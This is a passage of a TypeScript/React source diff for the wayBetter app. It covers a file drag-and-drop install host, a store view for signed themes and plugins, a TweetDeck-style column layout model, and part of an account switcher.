* a site tab stay the site's (e.g. images for a post).
*/
export function InstallHost<Theme>(props: InstallHostProps<Theme>) {
const { t, controller, setOverlay, ownDropTargets } = props;
const shared: Shared<Theme> = { ...props, classes: { ...DEFAULT_CLASSES, ...props.classNames } };
const request = useInstallRequest(controller);
const [dropping, setDropping] = useState(false);
useEffect(() => controller.start(), [controller]);
useEffect(() => {
let last = 0;
let timer: ReturnType<typeof setInterval> | undefined;
const own = (event: DragEvent) => Boolean(ownDropTargets && (event.target as Element | null)?.closest?.(ownDropTargets));
const stop = () => { clearInterval(timer); timer = undefined; setDropping(false); };
const over = (event: DragEvent) => {
if (!hasFiles(event) || own(event)) return;
event.preventDefault();
if (event.dataTransfer) event.dataTransfer.dropEffect = 'copy';
last = Date.now();
if (!timer) {
setDropping(true);
// Esc or leaving the window ends a drag without an event here.
timer = setInterval(() => { if (Date.now() - last > 900) stop(); }, 200);
}
};
const drop = (event: DragEvent) => {
if (!hasFiles(event) || own(event)) return;
event.preventDefault();
stop();
const file = event.dataTransfer?.files[0];
if (file) void controller.requestFile(file);
};
window.addEventListener('dragenter', over, true);
window.addEventListener('dragover', over, true);
window.addEventListener('drop', drop, true);
return () => { stop(); window.removeEventListener('dragenter', over, true); window.removeEventListener('dragover', over, true); window.removeEventListener('drop', drop, true); };
}, [controller, ownDropTargets]);
useEffect(() => {
if (!dropping) return;
setOverlay(1);
return () => setOverlay(-1);
}, [dropping]);
return <>
{dropping && createPortal(<div className="wbi-drop" aria-hidden="true"><div>
<Glyph d={G.file} size={30}/>
<strong>{t('wb.install.drop')}</strong>
<span>{t('wb.install.dropHint')}</span>
</div></div>, document.body)}
{request && <Dialog request={request} props={shared}/>}
</>;
}

View file

@ -0,0 +1,179 @@
// The wayBetter Store view, shared by every wayBetter app: themes and plugins from the signed
// catalog (native code verifies its Ed25519 signature, keeps this app's items, then checks each
// download's sha256). Search, kinds, categories, cards with previews and permission badges, and
// Install / Update / Remove. Installing always goes through the install screen (InstallHost), never
// straight from here. Styles: `store.css` (framework `--wb-*` tokens). The app may pass its own
// controls (buttons, search field, segmented control) so the view matches its settings.
import { useEffect, useMemo, useState, useSyncExternalStore, type ReactNode } from 'react';
import type { InstallController } from './installController.ts';
import type { StoreText } from './storeMessages.ts';
import { categoryLabel, errorText, filterItems, itemState, permissionBadges, type ItemState, type StoreCatalogView, type StoreItem } from './storeModel.ts';
type ButtonProps = { children: ReactNode; onClick?(): void; tone?: 'plain' | 'primary' | 'ghost' | 'danger'; size?: 'sm' | 'md'; disabled?: boolean; title?: string };
type Option<T extends string> = { value: T; label: string };
export type StoreControls = {
Button(props: ButtonProps): ReactNode;
SearchField(props: { value: string; onChange(next: string): void; placeholder: string; label: string }): ReactNode;
Segmented<T extends string>(props: { value: T; options: Array<Option<T>>; onChange(next: T): void; label: string; size?: 'sm' | 'md' }): ReactNode;
EmptyState(props: { icon?: ReactNode; title: string; children?: ReactNode; action?: ReactNode }): ReactNode;
Badge(props: { children: ReactNode }): ReactNode;
};
export const DEFAULT_CONTROLS: StoreControls = {
Button: ({ children, onClick, tone = 'plain', size = 'md', disabled, title }) =>
<button type="button" className={`wb-btn is-${tone} is-${size}`} disabled={disabled} title={title} onClick={onClick}>{children}</button>,
SearchField: ({ value, onChange, placeholder, label }) =>
<input className="wb-field" type="search" aria-label={label} placeholder={placeholder} value={value}
onChange={event => onChange(event.target.value)} onKeyDown={event => { if (event.key === 'Escape' && value) { event.stopPropagation(); onChange(''); } }}/>,
Segmented: ({ value, options, onChange, label }) =>
<div className="wb-segmented" role="radiogroup" aria-label={label}>
{options.map(option => <button key={option.value} type="button" role="radio" aria-checked={option.value === value} className={option.value === value ? 'is-on' : ''} onClick={() => onChange(option.value)}>{option.label}</button>)}
</div>,
EmptyState: ({ icon, title, children, action }) =>
<div className="wb-empty">{icon && <div aria-hidden="true">{icon}</div>}<strong>{title}</strong>{children && <p>{children}</p>}{action}</div>,
Badge: ({ children }) => <span className="wb-badge">{children}</span>,
};
export type StoreViewProps<Theme> = {
t: StoreText;
/** The site's name in messages ("X"). */
site: string;
/** `store_catalog` (the app passes `refresh => invoke('store_catalog', { refresh })`). */
load(refresh: boolean): Promise<StoreCatalogView>;
/** The install screen's controller: Install opens it; the list refreshes when it closes. */
controller: InstallController<Theme>;
/** Theme ids that ship with the app, and the owner's own theme ids now. */
builtinThemes: readonly string[];
userThemes: readonly string[];
/** Removes an installed item (plugin file, or the owner's copy of a store theme); false: nothing to remove. */
onRemove(item: StoreItem, view: StoreCatalogView): Promise<boolean>;
/** Makes a built-in theme the current one. */
onUse(item: StoreItem): Promise<void>;
notify(text: string, error?: boolean): void;
/** "3 minutes ago" for a timestamp (the app's relative-time formatter). */
relativeTime(at: number): string;
/** Window events after which the list reloads (e.g. the app's "plugins changed"). */
reloadOn?: readonly string[];
controls?: Partial<StoreControls>;
};
const STORE_ICON = <svg width="22" height="22" viewBox="0 0 24 24" aria-hidden="true"><path d="M4 9l1.5-5h13L20 9M4 9h16v11H4zM4 9a2.7 2.7 0 0 0 5.3 0 2.7 2.7 0 0 0 5.4 0 2.7 2.7 0 0 0 5.3 0M10 20v-5h4v5" fill="none" stroke="currentColor" strokeWidth="1.6" strokeLinejoin="round"/></svg>;
function Preview({ item }: { item: StoreItem }) {
const [broken, setBroken] = useState(false);
const c = item.colors;
if (item.preview && !broken) return <img className="wbs-img" src={item.preview} alt="" loading="lazy" onError={() => setBroken(true)}/>;
// Offline or not published yet: swatches from the signed catalog (themes) or a plain tile.
return <div className="wbs-img wbs-swatch" style={c ? { background: c.bg } : undefined} aria-hidden="true">
{c ? <><span style={{ background: c.surface ?? c.bg, borderColor: c.text }}/><i style={{ background: c.text }}/><b style={{ background: c.accent }}/></> : <strong>{item.name.slice(0, 1)}</strong>}
</div>;
}
function Action({ item, state, busy, t, ui, onInstall, onRemove, onUse }: { item: StoreItem; state: ItemState; busy: boolean; t: StoreText; ui: StoreControls; onInstall(): void; onRemove(): void; onUse(): void }) {
const { Button } = ui;
const [asking, setAsking] = useState(false);
if (state.state === 'builtin') return <div className="wbs-actions"><span className="wbs-state">{t('wb.store.builtIn')}</span><Button size="sm" onClick={onUse}>{t('wb.store.use')}</Button></div>;
if (state.state === 'install') return <div className="wbs-actions"><Button size="sm" tone="primary" disabled={busy} onClick={onInstall}>{t('wb.store.install')}</Button></div>;
const remove = asking
? <><Button size="sm" tone="danger" onClick={() => { setAsking(false); onRemove(); }}>{t('wb.store.remove')}</Button><Button size="sm" tone="ghost" onClick={() => setAsking(false)}>{t('wb.store.keep')}</Button></>
: <Button size="sm" tone="ghost" onClick={() => setAsking(true)}>{t('wb.store.remove')}</Button>;
if (state.state === 'update') return <div className="wbs-actions"><Button size="sm" tone="primary" disabled={busy} onClick={onInstall}>{t('wb.store.updateTo', { version: item.version })}</Button>{remove}</div>;
if (state.state === 'modified') return <div className="wbs-actions"><span className="wbs-state" title={t('wb.store.modifiedTitle')}>{t('wb.store.modified')}</span><Button size="sm" disabled={busy} onClick={onInstall}>{t('wb.store.replace')}</Button>{remove}</div>;
return <div className="wbs-actions"><span className="wbs-state is-ok">{state.version ? t('wb.store.installedVersion', { version: state.version }) : t('wb.store.installed')}</span>{remove}</div>;
}
export function StoreView<Theme>(props: StoreViewProps<Theme>) {
const { t, site, controller, notify } = props;
const ui: StoreControls = { ...DEFAULT_CONTROLS, ...props.controls };
const { Button, SearchField, Segmented, EmptyState, Badge } = ui;
const [view, setView] = useState<StoreCatalogView | null>(null);
const [loading, setLoading] = useState(false);
const [query, setQuery] = useState('');
const [kind, setKind] = useState<'all' | 'theme' | 'plugin'>('all');
const [category, setCategory] = useState<string>('all');
const request = useSyncExternalStore(controller.subscribe, controller.current, controller.current);
const load = (refresh: boolean) => {
setLoading(true);
return props.load(refresh).then(setView).catch(error => notify(errorText(error), true)).finally(() => setLoading(false));
};
useEffect(() => { void load(false); }, []);
// Installs finish in the install screen; refresh what is installed afterwards.
useEffect(() => {
const again = () => void load(false);
const events = props.reloadOn ?? [];
for (const name of events) window.addEventListener(name, again);
return () => { for (const name of events) window.removeEventListener(name, again); };
}, [(props.reloadOn ?? []).join(' ')]);
useEffect(() => { if (request === null) void load(false); }, [request === null]);
const items = view?.catalog?.items ?? [];
const context = { plugins: view?.plugins ?? {}, records: view?.records.items ?? {}, builtinThemes: props.builtinThemes, userThemes: props.userThemes };
const categories = useMemo(() => [...new Set(items.filter(item => kind === 'all' || item.kind === kind).map(item => item.category))].sort(), [items, kind]);
const shown = filterItems(items, query, kind, category);
const updates = items.filter(item => itemState(item, context).state === 'update');
const ago = (iso: string | null) => {
if (!iso) return '';
const at = Date.parse(iso);
return Number.isFinite(at) ? props.relativeTime(Math.min(at, Date.now())) : '';
};
async function removeItem(item: StoreItem) {
if (!view) return;
try {
if (!(await props.onRemove(item, view))) return;
notify(t('wb.store.removed', { name: item.name }));
await load(false);
} catch (error) { notify(errorText(error), true); }
}
const status = view?.error
? <span className="wbs-status is-warn" role="status">{view.catalog ? t('wb.store.offline', { when: ago(view.fetchedAt), error: errorText(view.error) }) : t('wb.store.unreachableShort')}</span>
: view?.catalog ? <span className="wbs-status is-ok" role="status"><svg width="13" height="13" viewBox="0 0 24 24" aria-hidden="true"><path d="M12 3l7 3v5c0 4.6-3 8.5-7 10-4-1.5-7-5.4-7-10V6zM8.5 12l2.5 2.5 4.5-5" fill="none" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round"/></svg>{t('wb.store.verified', { when: ago(view.fetchedAt) })}</span> : null;
return <div className="wbs">
<p className="wbs-intro">{t('wb.store.intro')}</p>
<div className="wbs-toolbar">
<SearchField label={t('wb.store.search')} placeholder={t('wb.store.searchPlaceholder')} value={query} onChange={setQuery}/>
<Segmented label={t('wb.store.kind')} size="sm" value={kind} onChange={next => { setKind(next); setCategory('all'); }} options={[{ value: 'all', label: t('wb.store.all') }, { value: 'theme', label: t('wb.store.themes') }, { value: 'plugin', label: t('wb.store.pluginsTab') }]}/>
<Button size="sm" tone="ghost" disabled={loading} onClick={() => void load(true)}>{loading ? t('wb.store.checking') : t('wb.store.refresh')}</Button>
</div>
<div className="wbs-cats" role="group" aria-label={t('wb.store.categories')}>
{['all', ...categories].map(id => <button key={id} className={category === id ? 'is-on' : ''} aria-pressed={category === id} onClick={() => setCategory(id)}>{id === 'all' ? t('wb.store.everything') : categoryLabel(id, t)}</button>)}
<span className="wbs-cats-end"/>
{status}
</div>
{updates.length > 0 && <div className="wbs-updates" role="status"><strong>{t('wb.store.updates', { count: updates.length })}</strong><span>{updates.map(item => item.name).join(', ')}</span></div>}
{!view && loading && <div className="wbs-grid" aria-busy="true">{Array.from({ length: 6 }, (_, i) => <div key={i} className="wbs-card is-skeleton"/>)}</div>}
{view && !view.catalog && <EmptyState icon={STORE_ICON} title={t('wb.store.unreachable')} action={<Button size="sm" onClick={() => void load(true)}>{t('wb.store.tryAgain')}</Button>}>
{view.error ? errorText(view.error).replace(/\.?$/, '.') : t('wb.store.noCatalog')} {t('wb.store.nothingChanged')}
</EmptyState>}
{view?.catalog && shown.length === 0 && <EmptyState icon={STORE_ICON} title={t('wb.store.noMatch')}>{t('wb.store.noMatchHint')}</EmptyState>}
<div className="wbs-grid">
{shown.map(item => {
const state = itemState(item, context);
return <article key={`${item.kind}:${item.id}`} className={`wbs-card is-${item.kind}`}>
<Preview item={item}/>
<div className="wbs-card-body">
<header>
<h3>{item.name}</h3>
<Badge>{item.kind === 'theme' ? t('wb.store.theme') : t('wb.store.plugin')}</Badge>
</header>
<p className="wbs-meta">{item.author && `${t('wb.store.by', { author: item.author })} · `}v{item.version} · {categoryLabel(item.category, t)}</p>
<p className="wbs-desc">{item.description}</p>
{item.kind === 'plugin' && <ul className="wbs-perms" aria-label={t('wb.store.permissions')}>
{permissionBadges(item.permissions, t, site).map(badge => <li key={badge.id} className={`is-${badge.tone}`} title={badge.detail}>{badge.label}</li>)}
</ul>}
<Action item={item} state={state} busy={request !== null} t={t} ui={ui}
onInstall={() => void controller.requestStoreItem(item)}
onRemove={() => void removeItem(item)}
onUse={() => void props.onUse(item).then(() => notify(t('wb.store.themeNow', { name: item.name }))).catch(error => notify(errorText(error), true))}/>
</div>
</article>;
})}
</div>
<p className="wbs-foot">{t('wb.store.foot')}</p>
</div>;
}

View file

@ -0,0 +1,314 @@
// Power User Mode: a deck of narrow site columns (TweetDeck-style). Pure model (no Tauri/DOM), so
// it is unit-tested under node. Every column is a real site tab webview in its own account profile;
// this model only says which columns exist, which page of them is on screen and where each one
// goes. What a column shows is the site adapter's business (`urlFor`), what it hides is the page
// runtime's (runtime/column.ts). Paging, not pixel scrolling: a page is as many whole columns as
// fit the viewport; the rest are parked off-page (hidden, low memory).
/** A column's content, named by the site adapter (e.g. `{ kind: 'search', value: 'from:me' }`). */
export type ColumnSource = { kind: string; value?: string };
/** Per-column filters, applied by the page runtime to the site's items (runtime/column.ts). */
export type ColumnFilters = {
/** Keywords (case-insensitive) or `/regex/flags`; a match hides the item. */
terms: string[];
hideReplies: boolean;
hideReposts: boolean;
mediaOnly: boolean;
};
export type DeckColumn = {
id: string;
/** The tab webview id this column runs in (`tab-<tabId>` natively). */
tabId: string;
/** Account profile of the column's webview. */
profile: string;
source: ColumnSource;
/** Preferred width in px; a page stretches its columns to fill the viewport. */
width: number;
/** Per-column feature flags over the global ones (allow-listed natively). */
flags: Record<string, boolean>;
filters: ColumnFilters;
/** Optional title the user gave the column. */
title?: string;
};
export type Deck = { id: string; name: string; columns: DeckColumn[] };
export const COLUMN_WIDTHS = [320, 360, 400, 480] as const;
export const DEFAULT_COLUMN_WIDTH = 360;
export const MIN_COLUMN_WIDTH = 280;
export const MAX_COLUMN_WIDTH = 640;
export const MAX_COLUMNS = 24;
export const MAX_DECKS = 12;
export const MAX_TERMS = 32;
export const MAX_TERM_CHARS = 200;
export const MAX_FLAGS = 16;
/** Visible columns per page before the memory guard warns. */
export const DEFAULT_MAX_VISIBLE = 6;
/** Gap between columns in px. */
export const COLUMN_GAP = 8;
export const emptyFilters = (): ColumnFilters => ({ terms: [], hideReplies: false, hideReposts: false, mediaOnly: false });
const ID = /^[a-z0-9][a-z0-9-]{0,39}$/i;
export const validColumnId = (id: unknown): id is string => typeof id === 'string' && ID.test(id);
// eslint-disable-next-line no-control-regex
const CONTROL = /[\u0000-\u001f\u007f-\u009f]/;
function cleanText(value: unknown, max: number): string | null {
if (typeof value !== 'string') return null;
const trimmed = value.trim();
if (!trimmed || [...trimmed].length > max || CONTROL.test(trimmed)) return null;
return trimmed;
}
export function normalizeFilters(value: unknown): ColumnFilters {
const raw = (value && typeof value === 'object' ? value : {}) as Partial<Record<keyof ColumnFilters, unknown>>;
const terms: string[] = [];
for (const term of Array.isArray(raw.terms) ? raw.terms : []) {
const clean = cleanText(term, MAX_TERM_CHARS);
if (clean && !terms.includes(clean) && terms.length < MAX_TERMS) terms.push(clean);
}
return { terms, hideReplies: raw.hideReplies === true, hideReposts: raw.hideReposts === true, mediaOnly: raw.mediaOnly === true };
}
export function normalizeFlags(value: unknown, allowed?: readonly string[]): Record<string, boolean> {
const flags: Record<string, boolean> = {};
if (!value || typeof value !== 'object') return flags;
for (const [key, flag] of Object.entries(value as Record<string, unknown>)) {
if (typeof flag !== 'boolean' || !/^[a-zA-Z][a-zA-Z0-9]{0,47}$/.test(key)) continue;
if (allowed && !allowed.includes(key)) continue;
if (Object.keys(flags).length >= MAX_FLAGS) break;
flags[key] = flag;
}
return flags;
}
export const clampWidth = (width: unknown): number =>
typeof width === 'number' && Number.isFinite(width) ? Math.round(Math.min(MAX_COLUMN_WIDTH, Math.max(MIN_COLUMN_WIDTH, width))) : DEFAULT_COLUMN_WIDTH;
export type NormalizeOptions = {
/** Source kinds the site adapter knows; others are dropped. */
kinds?: readonly string[];
/** Profile ids that exist; a column of a removed profile moves to `fallbackProfile`. */
profiles?: readonly string[];
fallbackProfile?: string;
/** Allow-listed per-column flags. */
flags?: readonly string[];
};
export function normalizeColumn(value: unknown, options: NormalizeOptions = {}): DeckColumn | null {
const raw = (value && typeof value === 'object' ? value : {}) as Record<string, unknown>;
if (!validColumnId(raw.id) || !validColumnId(raw.tabId)) return null;
const source = raw.source as Partial<ColumnSource> | undefined;
const kind = typeof source?.kind === 'string' && /^[a-z][a-z0-9-]{0,23}$/.test(source.kind) ? source.kind : null;
if (!kind || (options.kinds && !options.kinds.includes(kind))) return null;
const sourceValue = source?.value === undefined ? undefined : cleanText(source.value, 512);
if (source?.value !== undefined && sourceValue === null) return null;
let profile = typeof raw.profile === 'string' && raw.profile ? raw.profile : options.fallbackProfile ?? 'default';
if (options.profiles && !options.profiles.includes(profile)) profile = options.fallbackProfile ?? options.profiles[0] ?? 'default';
const title = cleanText(raw.title, 60);
return {
id: raw.id,
tabId: raw.tabId,
profile,
source: sourceValue ? { kind, value: sourceValue } : { kind },
width: clampWidth(raw.width),
flags: normalizeFlags(raw.flags, options.flags),
filters: normalizeFilters(raw.filters),
...(title ? { title } : {}),
};
}
/** Anything from storage → a bounded deck (unique column and tab ids, at most MAX_COLUMNS). */
export function normalizeDeck(value: unknown, options: NormalizeOptions = {}): Deck | null {
const raw = (value && typeof value === 'object' ? value : {}) as Record<string, unknown>;
if (!validColumnId(raw.id)) return null;
const name = cleanText(raw.name, 40) ?? 'Deck';
const columns: DeckColumn[] = [];
const ids = new Set<string>();
for (const item of Array.isArray(raw.columns) ? raw.columns : []) {
if (columns.length >= MAX_COLUMNS) break;
const column = normalizeColumn(item, options);
if (!column || ids.has(column.id) || ids.has(`tab:${column.tabId}`)) continue;
ids.add(column.id);
ids.add(`tab:${column.tabId}`);
columns.push(column);
}
return { id: raw.id, name, columns };
}
export function normalizeDecks(value: unknown, options: NormalizeOptions = {}): Deck[] {
const decks: Deck[] = [];
const tabs = new Set<string>();
for (const item of Array.isArray(value) ? value : []) {
if (decks.length >= MAX_DECKS) break;
const deck = normalizeDeck(item, options);
if (!deck || decks.some(other => other.id === deck.id)) continue;
// A tab webview belongs to exactly one column of one deck.
deck.columns = deck.columns.filter(column => !tabs.has(column.tabId));
for (const column of deck.columns) tabs.add(column.tabId);
decks.push(deck);
}
return decks;
}
// ---------------------------------------------------------------------------------------------
// Layout
export type PlacedColumn = { id: string; x: number; width: number };
export type DeckLayout = {
/** The page shown (clamped into range). */
page: number;
pages: number;
visible: PlacedColumn[];
/** Columns on other pages: their webviews are hidden (and parked when the setting says so). */
parked: string[];
};
export type LayoutOptions = { gap?: number; maxVisible?: number };
/** How many columns from `start` (forward, or backward with `step` -1) fit `viewportW` (at least one). */
function fitCount(viewportW: number, widths: readonly number[], start: number, step: 1 | -1, gap: number, maxVisible: number): number {
let used = 0;
let count = 0;
for (let i = start; i >= 0 && i < widths.length && count < maxVisible; i += step) {
const needed = count ? used + gap + widths[i]! : widths[i]!;
if (count && needed > viewportW) break;
used = needed;
count++;
}
return Math.max(1, count);
}
/**
* Splits columns into pages of whole columns that fit `viewportW` (at least one per page). Pages
* are filled from the left; the last page is filled from the right end instead, so it is as full as
* the others (it may repeat columns of the page before) rather than one lone stretched column.
*/
export function paginate(viewportW: number, columns: readonly Pick<DeckColumn, 'id' | 'width'>[], options: LayoutOptions = {}): string[][] {
const gap = options.gap ?? COLUMN_GAP;
const maxVisible = Math.max(1, Math.floor(options.maxVisible ?? DEFAULT_MAX_VISIBLE));
const widths = columns.map(column => clampWidth(column.width));
const pages: string[][] = [];
let start = 0;
while (start < columns.length) {
const count = fitCount(viewportW, widths, start, 1, gap, maxVisible);
if (start + count >= columns.length && pages.length) {
// The last page: as many columns as fit, counted back from the end.
const back = fitCount(viewportW, widths, columns.length - 1, -1, gap, maxVisible);
pages.push(columns.slice(columns.length - back).map(column => column.id));
break;
}
pages.push(columns.slice(start, start + count).map(column => column.id));
start += count;
}
return pages;
}
/** A page's columns stretch to fill the viewport, but never beyond this factor of their width. */
export const MAX_STRETCH = 2;
/**
* Where each column of `page` goes in a viewport `viewportW` px wide. The page's columns stretch
* evenly to fill the width (no ragged gap on the right); a lone column wider than the viewport
* is squeezed to it. Columns on other pages are `parked`.
*/
export function layoutColumns(viewportW: number, columns: readonly Pick<DeckColumn, 'id' | 'width'>[], page: number, options: LayoutOptions = {}): DeckLayout {
const gap = options.gap ?? COLUMN_GAP;
const width = Math.max(0, Math.floor(viewportW));
const pages = paginate(width, columns, options);
if (!pages.length) return { page: 0, pages: 0, visible: [], parked: [] };
const index = Math.min(pages.length - 1, Math.max(0, Math.floor(Number.isFinite(page) ? page : 0)));
const ids = pages[index]!;
const byId = new Map(columns.map(column => [column.id, clampWidth(column.width)]));
const preferred = ids.map(id => byId.get(id)!);
const sum = preferred.reduce((total, w) => total + w, 0);
const room = Math.max(ids.length, width - gap * (ids.length - 1));
// Integer px in proportion to the preferred widths; the rounding remainder goes 1 px per column
// from the left, so the row ends exactly at the viewport edge.
// Stretch to fill, up to MAX_STRETCH; a page of few columns on a wide screen leaves room at the end.
const target = Math.min(room, Math.floor(sum * MAX_STRETCH));
const widths = preferred.map(w => Math.max(1, Math.floor((w * target) / sum)));
let remainder = target - widths.reduce((total, w) => total + w, 0);
for (let i = 0; remainder > 0; i = (i + 1) % widths.length, remainder--) widths[i]! += 1;
const visible: PlacedColumn[] = [];
let x = 0;
ids.forEach((id, i) => {
visible.push({ id, x, width: widths[i]! });
x += widths[i]! + gap;
});
const shown = new Set(ids);
return { page: index, pages: pages.length, visible, parked: columns.map(c => c.id).filter(id => !shown.has(id)) };
}
/**
* The page that shows column `id`: `current` when it is on it already (so focusing a column never
* flips pages needlessly), else the first page that holds it (0 when it is unknown).
*/
export function pageOf(viewportW: number, columns: readonly Pick<DeckColumn, 'id' | 'width'>[], id: string, options: LayoutOptions = {}, current?: number): number {
const pages = paginate(Math.max(0, Math.floor(viewportW)), columns, options);
if (current !== undefined && pages[current]?.includes(id)) return current;
const index = pages.findIndex(page => page.includes(id));
return index < 0 ? 0 : index;
}
/** The column `delta` steps from `focused` (clamped at the ends; the first one when none is focused). */
export function moveFocus(columns: readonly Pick<DeckColumn, 'id'>[], focused: string | null | undefined, delta: number): string | null {
if (!columns.length) return null;
const index = columns.findIndex(column => column.id === focused);
if (index < 0) return columns[delta < 0 ? columns.length - 1 : 0]!.id;
return columns[Math.min(columns.length - 1, Math.max(0, index + Math.trunc(delta)))]!.id;
}
/** The URL a column loads: the adapter's `urlFor`, or null for a source it does not know. */
export function columnUrl(source: ColumnSource, urlFor: (source: ColumnSource) => string | null): string | null {
try {
const url = urlFor(source);
if (!url) return null;
const parsed = new URL(url);
return parsed.protocol === 'https:' && !parsed.username && !parsed.password ? parsed.href : null;
} catch {
return null;
}
}
/** Unread count to show for a deck: the sum over its columns, capped like the native report (999). */
export const MAX_UNREAD = 999;
export function unreadTotal(unread: ReadonlyMap<string, number> | Record<string, number>, columns: readonly Pick<DeckColumn, 'tabId'>[]): number {
const get = (id: string) => (unread instanceof Map ? unread.get(id) : (unread as Record<string, number>)[id]) ?? 0;
let total = 0;
for (const column of columns) {
const value = get(column.tabId);
if (Number.isFinite(value) && value > 0) total += Math.floor(value);
}
return Math.min(MAX_UNREAD, total);
}
/** Moves column `id` by `delta` places (clamped); returns a new array. */
export function moveColumn<T extends { id: string }>(columns: readonly T[], id: string, delta: number): T[] {
const index = columns.findIndex(column => column.id === id);
if (index < 0) return [...columns];
const target = Math.min(columns.length - 1, Math.max(0, index + Math.trunc(delta)));
const next = [...columns];
const [item] = next.splice(index, 1);
next.splice(target, 0, item!);
return next;
}
/**
* A column still shows its source page (origin, path with the trailing slash ignored, and query);
* otherwise it navigated away (a post, a profile) and its header offers the way back. The page
* runtime uses the same rule (runtime/column.ts `isSourcePage`).
*/
export function isSourcePage(href: string, source: string): boolean {
try {
const a = new URL(href);
const b = new URL(source);
const path = (url: URL) => url.pathname.replace(/\/+$/, '') || '/';
return a.origin === b.origin && path(a) === path(b) && a.search === b.search;
} catch {
return false;
}
}

View file

@ -0,0 +1,275 @@
import { useEffect, useRef, useState, type KeyboardEvent as ReactKeyboardEvent, type MouseEvent as ReactMouseEvent } from 'react';
import { createPortal } from 'react-dom';
import { DEFAULT_PROFILE, accountLabel as accountLabelCore, removeProfile, tabProfile, type Profile, type ProfileSettings } from '../profileModel.ts';
import { accountAction, addAccountProfile, focusedAccount, moveFocus, setDefaultAccount, tabsByAccount } from './accountModel.ts';
import { invoke } from './bridge.ts';
import { decks, forgetColumn, saveDecks } from './deckStore.ts';
import { usePaneTick, useProfiles, useT } from './hooks.ts';
import { t, tx } from './i18n.ts';
import { Avatar, Icon } from './icons.tsx';
import { site } from './site.ts';
import { flushSync, paneInfos, setOverlay, setProfiles, shell } from './state.ts';
import { isTauri } from './windowBinding.ts';
import './accountSwitcher.css';
export { useProfiles } from './hooks.ts';
/** What the switcher shows for a profile: the site login once seen, the profile name before. */
export function accountLabel(profile: Profile) {
return accountLabelCore(profile, site().accounts, key => tx(key, undefined, '') || undefined);
}
/** Saves natively (Rust validates and owns the data directories); the preview keeps it in memory. */
export async function saveProfiles(next: ProfileSettings): Promise<void> {
if (!isTauri) { setProfiles(next); return; }
setProfiles(await invoke<ProfileSettings>('profiles_set', { settings: next }));
}
export const ProfileDot = ({ color, title }: { color: string; title?: string }) =>
<span className="bt-profile-dot" style={{ background: color }} title={title} aria-hidden={title ? undefined : true}/>;
export function openTabs(profile: string) {
return tabsByAccount(shell.profiles, paneInfos()).get(profile)?.length ?? 0;
}
/** The site's own sign-in page for that account, in a new pane beside the focused one. */
export function signIn(profile: string) {
shell.openAccount(profile, { url: site().loginUrl });
}
/** "Add account": a fresh login (its own cookies and storage) whose sign-in opens in a new pane. */
export async function addAccount(settings: ProfileSettings): Promise<void> {
const next = addAccountProfile(settings);
await saveProfiles(next.settings);
signIn(next.profile);
}
/**
* Removes an account after the user confirmed: its tabs close first (native code refuses to delete
* the data directory of a profile that still has a tab), then the list is saved and native code
* deletes that login's data on this computer. Never called without the explicit confirm step.
*/
export async function removeAccount(settings: ProfileSettings, id: string): Promise<void> {
if (id === DEFAULT_PROFILE) return;
const tabs = tabsByAccount(settings, paneInfos()).get(id) ?? [];
for (const tab of tabs) shell.api?.getPanel(tab)?.api.close();
// Start pages of that account fall back to the default one.
for (const panel of shell.api?.panels ?? []) {
const params = panel.params as { kind?: string; profile?: string } | undefined;
if (params?.kind === 'start' && params.profile === id) panel.api.updateParameters({ profile: DEFAULT_PROFILE });
}
// Deck columns of that account go too (each is a webview in its profile); a compose dock in it closes.
let deckChanged = false;
decks.list = decks.list.map(deck => {
const gone = deck.columns.filter(column => column.profile === id);
if (!gone.length) return deck;
deckChanged = true;
for (const column of gone) forgetColumn(column.tabId);
return { ...deck, columns: deck.columns.filter(column => column.profile !== id) };
});
for (const [deckId, compose] of decks.compose) if (compose.profile === id) { decks.compose.delete(deckId); deckChanged = true; }
if (deckChanged) saveDecks();
// dockview drops closed panels from `api.panels` synchronously (checked in the harness, whose
// profiles_set refuses like native code), so this sync no longer lists the account's tabs.
await flushSync();
try {
await saveProfiles(removeProfile(settings, id));
} catch (failure) {
const message = String(failure);
if (/PROFILE: close this profile's tabs/.test(message)) throw new Error(t('wb.acct.notRemoved'));
throw failure;
}
}
export const AccountAvatar = ({ profile, size }: { profile: Profile; size: number }) =>
<Avatar name={accountLabel(profile).title} color={profile.color} size={size} src={profile.account?.avatar}/>;
/** "Name (@handle)" for titles and labels. */
export function accountName(profile: Profile): string {
return `${accountLabel(profile).title}${profile.account ? ` (${site().accounts.handlePrefix}${profile.account.handle})` : ''}`;
}
type RowMenu = { id: string; confirm?: boolean };
/**
* Titlebar account switcher. Every entry is a separate site login on this computer (its own
* WebView data directory) that shows the account the site itself reports as signed in there.
*
* One click shows the account: a visible pane of it gets focus, otherwise its home feed (or the
* site's sign-in) opens in a new pane beside the focused one. Shift/Ctrl-click opens a new tab
* instead. Everything else ("Open in new tab", "Use for new tabs", sign out, remove) is in the
* row's "…" menu. The button shows the focused pane's account.
*/
export function AccountSwitcher() {
const t = useT();
const settings = useProfiles();
usePaneTick();
const [open, setOpen] = useState(false);
const [rowMenu, setRowMenu] = useState<RowMenu | null>(null);
const [error, setError] = useState('');
const [anchor, setAnchor] = useState<{ top: number; right: number }>({ top: 44, right: 12 });
const button = useRef<HTMLButtonElement>(null);
const menu = useRef<HTMLDivElement>(null);
const panes = paneInfos();
const activeId = shell.api?.activePanel?.id;
const focused = focusedAccount(settings, panes, activeId);
const tabs = tabsByAccount(settings, panes);
const multi = settings.profiles.length > 1;
const { name: siteName, homeUrl, loginUrl, logoutUrl, isSiteUrl, accounts: rules } = site();
const handle = (profile: Profile) => `${rules.handlePrefix}${profile.account!.handle}`;
useEffect(() => {
if (!open) return;
// Native tab webviews would cover the menu.
setOverlay(1);
const onBlur = () => close();
// Escape while focus is outside the menu (a click on its padding); inside, onMenuKey handles it.
const onKey = (event: KeyboardEvent) => { if (event.key === 'Escape' && !menu.current?.contains(event.target as Node)) close(true); };
window.addEventListener('blur', onBlur);
window.addEventListener('keydown', onKey);
// Start on the focused pane's account.
// Two lookups: a selector list matches in document order, so it would always pick the first row.
requestAnimationFrame(() => (menu.current?.querySelector<HTMLElement>('.bt-acct-row.is-focused .bt-acct-main')
?? menu.current?.querySelector<HTMLElement>('.bt-acct-main'))?.focus());
return () => { setOverlay(-1); window.removeEventListener('blur', onBlur); window.removeEventListener('keydown', onKey); };
}, [open]);
// The row menu takes focus when it opens; closing it returns focus to its row.
const lastRow = useRef<string | null>(null);
useEffect(() => {
if (!open) return;
if (rowMenu) {
lastRow.current = rowMenu.id;
